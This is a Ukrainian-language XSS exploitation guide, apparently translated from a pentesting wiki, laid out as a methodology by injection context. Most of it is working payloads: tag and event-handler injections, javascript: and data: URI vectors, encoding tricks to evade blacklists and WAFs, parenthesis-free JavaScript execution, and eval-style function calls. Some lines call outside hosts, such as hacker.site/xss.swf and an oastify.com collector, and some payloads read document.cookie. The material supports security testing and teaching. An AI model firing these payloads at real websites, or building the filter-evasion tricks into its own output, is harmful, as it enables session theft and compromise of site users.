XSS (Cross Site Scripting)

Якщо вас цікавить кар'єра хакера і взламати невзламне - ми шукаємо співробітників! (вимагається вільне письмо і мовлення польською).

Методологія

  1. Перевірте, чи будь-яке значення, яким ви керуєте (параметри, шлях, заголовки?, куки?) відображається в HTML або використовується JS кодом.

  2. Знайдіть контекст, де воно відображається/використовується.

  3. Якщо відображається

  4. Перевірте, які символи ви можете використовувати і в залежності від цього підготуйте навантаження:

  5. У чистому HTML:

  6. Чи можете ви створити нові HTML теги?

  7. Чи можете ви використовувати події або атрибути, що підтримують протокол javascript:?

  8. Чи можете ви обійти захисти?

  9. Чи HTML-контент інтерпретується будь-яким клієнтським JS движком (AngularJS, VueJS, Mavo...), ви можете використати Внедрення шаблонів на клієнтському боці.

  10. Якщо ви не можете створити HTML теги, які виконують JS код, чи можете ви використати Висячий маркер - HTML внедрення без скриптів?

  11. У межах HTML тегу:

  12. Чи можете ви вийти в чистий HTML контекст?

  13. Чи можете ви створити нові події/атрибути для виконання JS коду?

  14. Чи атрибут, де ви застрягли, підтримує виконання JS?

  15. Чи можете ви обійти захисти?

  16. У межах JS коду:

  17. Чи можете ви вийти з тегу <script>?

  18. Чи можете ви вийти з рядка і виконати різний JS код?

  19. Чи ваш ввід у шаблонних літералах ``?

  20. Чи можете ви обійти захисти?

  21. Функція JavaScript, яка виконується

  22. Ви можете вказати назву функції для виконання. Наприклад: ?callback=alert(1)

  23. Якщо використовується:

  24. Ви можете використати DOM XSS, зверніть увагу, як ваш ввід контролюється і чи ваш контрольований ввід використовується яким-небудь стоком.

Працюючи над складним XSS, вам може бути цікаво дізнатися про:

pageDebugging Client Side JS

Відображені значення

Для успішної експлуатації XSS перш за все вам потрібно знайти значення, яким ви керуєте, яке відображається на веб-сторінці.

  • Проміжно відображені: Якщо ви виявите, що значення параметра або навіть шляху відображається на веб-сторінці, ви можете використати Відображений XSS.

  • Збережені та відображені: Якщо ви виявите, що значення, яким ви керуєте, зберігається на сервері і відображається кожного разу, коли ви звертаєтесь до сторінки, ви можете використати Збережений XSS.

  • Доступ через JS: Якщо ви виявите, що значення, яким ви керуєте, використовується за допомогою JS, ви можете використати DOM XSS.

Контексти

Спробуючи експлуатувати XSS, перше, що вам потрібно знати, - де відображається ваш ввід. Залежно від контексту ви зможете виконати довільний JS код різними способами.

Чистий HTML

Якщо ваш ввід відображається на чистій HTML сторінці, вам потрібно зловживати деяким HTML тегом, щоб виконати JS код: <img , <iframe , <svg , <script ... це лише деякі з можливих HTML тегів, які ви можете використовувати. Також, пам'ятайте про Внедрення шаблонів на клієнтському боці.

У межах атрибутів тегів HTML

Якщо ваш ввід відображається у значенні атрибута тегу, ви можете спробувати:

  1. Вийти з атрибута та з тегу (тоді ви будете в чистому HTML) і створити новий HTML тег для зловживання: "><img [...]

  2. Якщо ви можете вийти з атрибута, але не з тегу (> закодовано або видалено), залежно від тегу ви можете створити подію, яка виконує JS код: " autofocus onfocus=alert(1) x="

  3. Якщо ви не можете вийти з атрибута (" кодується або видаляється), то залежно від якого атрибута ваше значення відображається в якому контексті ви контролюєте всі значення або лише частину, ви зможете зловживати цим. Наприклад, якщо ви контролюєте подію, як onclick=, ви зможете зробити, щоб вона виконувала довільний код при кліку. Ще один цікавий приклад - атрибут href, де ви можете використовувати протокол javascript: для виконання довільного коду: href="javascript:alert(1)"

  4. Якщо ваш ввід відображається всередині "невикористовуваних тегів", ви можете спробувати трюк з accesskey, щоб зловживати уразливістю (вам знадобиться якийсь вид соціального інженерії, щоб експлуатувати це): " accesskey="x" onclick="alert(1)" x="

Дивний приклад Angular, який виконує XSS, якщо ви контролюєте назву класу:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Усередині коду JavaScript

У цьому випадку ваш ввід відображається між тегами <script> [...] </script> сторінки HTML, всередині файлу .js або всередині атрибуту, використовуючи протокол javascript::

  • Якщо відображається між тегами <script> [...] </script>, навіть якщо ваш ввід знаходиться всередині будь-яких лапок, ви можете спробувати впровадити </script> та вийти з цього контексту. Це працює, оскільки браузер спочатку аналізує теги HTML, а потім вміст, тому він не помітить, що ваш впроваджений тег </script> знаходиться всередині HTML-коду.

  • Якщо відображається всередині рядка JS і попередній трюк не працює, вам потрібно буде вийти з рядка, виконати свій код і перебудувати код JS (якщо виникне помилка, вона не буде виконана):

  • '-alert(1)-'

  • ';-alert(1)//

  • \';alert(1)//

  • Якщо відображається всередині шаблонних літералів, ви можете вбудовувати вирази JS за допомогою синтаксису ${ ... }: var greetings = `Hello, ${alert(1)}`

  • Кодування Unicode працює для написання дійсного коду JavaScript:

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Підняття Javascript

Підняття Javascript посилається на можливість оголошення функцій, змінних або класів після їх використання, щоб ви могли використовувати сценарії, де XSS використовується невизначені змінні або функції. Перевірте наступну сторінку для отримання додаткової інформації:

pageJS Hoisting

Функція Javascript

На декількох веб-сторінках є кінцеві точки, які приймають як параметр назву функції для виконання. Загальним прикладом, який можна побачити в дикій природі, є щось на зразок: ?callback=callbackFunc.

Добрим способом виявити, чи щось, що надається користувачем, намагається бути виконаним, є зміна значення параметра (наприклад, на 'Vulnerable') та перегляд консолі за помилками, подібними до:

У разі вразливості ви можете спровокувати сповіщення, просто відправивши значення: ?callback=alert(1). Однак дуже поширено, що ці кінцеві точки будуть перевіряти вміст, щоб дозволяти лише літери, цифри, крапки та підкреслення ([\w\._]).

Однак, навіть з таким обмеженням, все ще можливо виконати деякі дії. Це тому, що ви можете використовувати ці дійсні символи для доступу до будь-якого елемента в DOM:

Деякі корисні функції для цього:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Ви також можете спробувати запустити функції Javascript безпосередньо: obj.sales.delOrders.

Проте, зазвичай кінцеві точки, які виконують вказану функцію, є кінцевими точками без цікавого DOM, інші сторінки в тому ж походженні матимуть цікавіший DOM для виконання більше дій.

Отже, для того, щоб зловживати цією вразливістю в іншому DOM, було розроблено використання експлуатації методу виконання з тієї ж самої початкової точки (SOME):

pageSOME - Same Origin Method Execution

DOM

Є JS-код, який небезпечно використовує деякі дані, керовані зловмисником, такі як location.href. Зловмисник може скористатися цим для виконання довільного JS-коду.

pageDOM XSS

Універсальний XSS

Цей тип XSS можна знайти буде де. Вони не залежать лише від використання клієнта веб-додатку, але від будь-якого контексту. Цей тип довільного виконання JavaScript може бути використаний навіть для отримання RCE, читання довільних файлів на клієнтах та серверах, та інше. Деякі приклади:

pageServer Side XSS (Dynamic PDF)pageElectron Desktop Apps

Обхід WAF кодуванням зображення

Впровадження всередину обробленого HTML

Коли ваш ввід відображається всередині HTML-сторінки або ви можете вибрати і впровадити HTML-код в цьому контексті, перше, що вам потрібно зробити - перевірити, чи можете ви зловживати < для створення нових тегів: просто спробуйте відобразити цей символ та перевірте, чи він кодується в HTML, чи видаляється, чи він відображається без змін. Тільки в останньому випадку ви зможете використати цей випадок. Для цих випадків також пам'ятайте Впровадження шаблонів на клієнтському боці. Примітка: HTML-коментар можна закрити за допомогою**** --> або ****--!>

У цьому випадку, якщо не використовується чорний/білий список, ви можете використовувати навантаження, подібні до:

<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>

Але, якщо використовується чорний/білий список тегів/атрибутів, вам доведеться перебирати теги, які ви можете створити. Після того, як ви визначите, які теги дозволені, вам потрібно буде перебрати атрибути/події всередині знайдених дійсних тегів, щоб побачити, як ви можете атакувати контекст.

Перебір тегів/подій

Перейдіть на https://portswigger.net/web-security/cross-site-scripting/cheat-sheet та натисніть на Копіювати теги в буфер обміну. Потім надішліть їх усіх за допомогою Burp Intruder та перевірте, чи які-небудь теги не були виявлені як шкідливі WAF. Після того, як ви виявите, які теги можна використовувати, ви можете перебрати всі події, використовуючи дійсні теги (на тій самій веб-сторінці натисніть на Копіювати події в буфер обміну та дотримуйтесь того ж процесу, що й раніше).

Власні теги

Якщо ви не знайшли жодного дійсного HTML тегу, ви можете спробувати створити власний тег та виконати JS-код з атрибутом onfocus. У запиті XSS вам потрібно закінчити URL символом #, щоб сторінка фокусувалася на цьому об'єкті та виконувала код:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Ухилення від чорного списку

Якщо використовується якийсь вид чорного списку, ви можете спробувати обійти його за допомогою деяких дурних трюків:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Обхід довжини (малі XSS)

Більше мікроскопічних XSS для різних середовищ навантаження можна знайти тут та тут.

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>

Останній використовує 2 символи Unicode, які розширюються до 5: telsr Більше таких символів можна знайти тут. Щоб перевірити, в які символи розкладаються, перевірте тут.

Клік-ХСС - Клікджекінг

Якщо для використання уразливості вам потрібно, щоб користувач клацнув по посиланню або формі з попередньо заповненими даними, ви можете спробувати зловживати клікджекінгом (якщо сторінка є вразливою).

Неможливо - Висяча розмітка

Якщо ви просто вважаєте, що неможливо створити тег HTML з атрибутом для виконання JS-коду, вам слід перевірити Висячу розмітку, оскільки ви можете експлуатувати уразливість без виконання JS-коду.

Впровадження всередину тегу HTML

Всередині тегу/виходячи зі значення атрибуту

Якщо ви знаходитесь всередині тегу HTML, перше, що ви можете спробувати, це вийти з тегу та використати деякі з технік, згаданих у попередньому розділі для виконання JS-коду. Якщо ви не можете вийти з тегу, ви можете створити нові атрибути всередині тегу, щоб спробувати виконати JS-код, наприклад, використовуючи деякий навантаження, як у цьому прикладі (зверніть увагу, що в цьому прикладі подвійні лапки використовуються для виходу з атрибуту, вам не знадобляться, якщо ваш ввід відображається безпосередньо всередині тегу):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Стиль подій

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

У межах атрибуту

Навіть якщо ви не можете вийти з атрибуту (" кодується або видаляється), залежно від якого атрибуту ваше значення відображається, чи контролюєте ви всі значення або лише частину, ви зможете його зловживати. Наприклад, якщо ви контролюєте подію, як onclick=, ви зможете зробити його виконати довільний код при кліці. Ще одним цікавим прикладом є атрибут href, де ви можете використовувати протокол javascript: для виконання довільного коду: href="javascript:alert(1)"

Обхід всередині події за допомогою HTML-кодування/кодування URL

HTML-кодовані символи всередині значення атрибутів тегів HTML декодуються під час виконання. Тому щось на зразок наступного буде дійсним (пейлоад виділено жирним): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Зверніть увагу, що будь-яке HTML-кодування є дійсним:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Зверніть увагу, що також працюватиме URL-кодування:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Обхід в середині події за допомогою кодування Unicode

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Спеціальні протоколи в атрибуті

Тут ви можете використовувати протоколи javascript: або data: в деяких місцях для виконання довільного JS коду. Деякі потребуватимуть взаємодії з користувачем, а деякі - ні.

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3aalert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Місця, де ви можете впровадити ці протоколи

Загалом протокол javascript: може бути використаний в будь-якому тезі, який приймає атрибут href і в більшості тезі, які приймають атрибут src (але не <img)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Інші трюки замаскування

У цьому випадку HTML-кодування та трюк з кодуванням Unicode з попереднього розділу також є дійсними, оскільки ви знаходитесь всередині атрибута.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Крім того, є ще один цікавий трюк для таких випадків: Навіть якщо ваш ввід всередині javascript:... буде закодований у форматі URL, він буде розкодований перед виконанням. Так що, якщо вам потрібно вийти з рядка, використовуючи одинарну лапку, і ви бачите, що він закодований у форматі URL, пам'ятайте, що це не має значення, він буде інтерпретований як одинарна лапка під час виконання.

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Зверніть увагу, що якщо ви спробуєте використовувати обидва URLencode + HTMLencode в будь-якому порядку для кодування пейлоаду, це не працюватиме, але ви можете поєднувати їх всередині пейлоаду.

Використання шістнадцяткового та вісімкового кодування з javascript:

Ви можете використовувати шістнадцяткове та вісімкове кодування всередині атрибуту src тегу iframe (принаймні) для виклику HTML тегів для виконання JS:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Зворотнє викрадення вкладки

<a target="_blank" rel="opener"

Якщо ви можете впровадити будь-яку URL-адресу в довільний <a href= тег, який містить атрибути target="_blank" та rel="opener", перевірте наступну сторінку для використання цієї поведінки:

pageReverse Tab Nabbing

Прохід по обробниках подій

Спочатку перевірте цю сторінку (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) для корисних "on" обробників подій. У разі наявності чорного списку, який перешкоджає створенню цих обробників подій, ви можете спробувати наступні обхідні шляхи:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

XSS у "Невразливих тегах" (прихований ввід, посилання, канонічний, мета)

З тут тепер можливо зловживати прихованими вводами за допомогою:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>

І в мета-тегах:

<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

З тут: Ви можете виконати XSS-пакет всередині прихованого атрибуту, якщо ви зможете переконати жертву натиснути комбінацію клавіш. У Firefox Windows/Linux комбінація клавіш - ALT+SHIFT+X, а на OS X - CTRL+ALT+X. Ви можете вказати іншу комбінацію клавіш, використовуючи іншу клавішу в атрибуті доступу до ключа. Ось вектор:

<input type="hidden" accesskey="X" onclick="alert(1)">

Пейлоад XSS буде виглядати приблизно так: " accesskey="x" onclick="alert(1)" x="

Ухиляння від чорного списку

Декілька трюків з використанням різних кодувань вже були викриті в цьому розділі. Поверніться, щоб дізнатися, де ви можете використовувати:

  • Кодування HTML (теги HTML)

  • Кодування Unicode (може бути дійсним кодом JS): \u0061lert(1)

  • Кодування URL

  • Шістнадцяткове та вісімкове кодування

  • Кодування даних

Ухиляння для тегів та атрибутів HTML

Прочитайте Ухиляння від чорного списку попереднього розділу.

Ухиляння для коду JavaScript

Прочитайте Ухиляння чорного списку JavaScript наступного розділу.

CSS-гаджети

Якщо ви знайшли XSS в дуже маленькій частині веб-сайту, яка вимагає певного виду взаємодії (можливо, невелике посилання в підвалі з елементом onmouseover), ви можете спробувати змінити простір, який займає цей елемент, щоб максимізувати ймовірність виконання посилання.

Наприклад, ви можете додати деякий стиль до елементу, наприклад: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Але якщо WAF фільтрує атрибут стилю, ви можете використовувати CSS-гаджети, тому якщо ви знайдете, наприклад

.test {display:block; color: blue; width: 100%}

та

#someid {top: 0; font-family: Tahoma;}

Тепер ви можете змінити наше посилання і привести його до форми

<a href="" id=someid class=test onclick=alert() a="">

Цей трюк був взятий з https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Впровадження в код JavaScript

У цих випадках ваш ввід буде відображений всередині коду JS файлу .js або між тегами <script>...</script> або між подіями HTML, які можуть виконувати код JS або між атрибутами, які приймають протокол javascript:.

Уникнення тегу <script>

Якщо ваш код вставлений всередині <script> [...] var input = 'відображені дані' [...] </script>, ви можете легко уникнути закриття тегу <script>:

</script><img src=1 onerror=alert(document.domain)>

Зверніть увагу, що в цьому прикладі ми навіть не закрили одинарну лапку. Це тому, що спочатку браузер виконує розбір HTML, що включає визначення елементів сторінки, включаючи блоки скриптів. Розбір JavaScript для розуміння та виконання вбудованих скриптів відбувається лише після цього.

Усередині коду JS

Якщо <> санітізовані, ви все ще можете екранувати рядок там, де знаходиться ваш ввід, і виконувати довільний JS. Важливо виправити синтаксис JS, оскільки якщо є помилки, код JS не буде виконаний:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

Шаблонні літерали ``

Для конструювання строк окрім одинарних та подвійних лапок JS також приймає косі лапки `` . Це відомо як шаблонні літерали, оскільки вони дозволяють вбудовувати вирази JS за допомогою синтаксису ${ ... }. Отже, якщо ви помітили, що ваш ввід відображається всередині JS-строки, яка використовує косі лапки, ви можете зловживати синтаксисом ${ ... } для виконання довільного JS-коду:

Це можна зловживати використовуючи:

`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````

Виконання закодованого коду

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">

Кодування Unicode виконання JS

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Техніки обхіду чорних списків JavaScript

Рядки

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Спеціальні екранування

'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself

Заміна пробілів усередині коду JS

<TAB>
/**/

Коментарі JavaScript (зі підступу Коментарі JavaScript )

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript нові рядки (з JavaScript новий рядок трюк)

//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9

JavaScript пробіли

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript у коментарі

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript без дужок

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Довільний виклик функції (alert)

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

Уразливості DOM

Є JS-код, який використовує ненадійні дані, керовані зловмисником, такі як location.href. Зловмисник може скористатися цим для виконання довільного JS-коду. Через розширення пояснення уразливостей DOM було переміщено на цю сторінку:

pageDOM XSS

Там ви знайдете детальне пояснення того, що таке уразливості DOM, як вони викликаються і як їх можна використовувати. Також не забудьте, що в кінці згаданого посту ви знайдете пояснення про атаки DOM Clobbering.

Інші обхідні шляхи

Нормалізований Юнікод

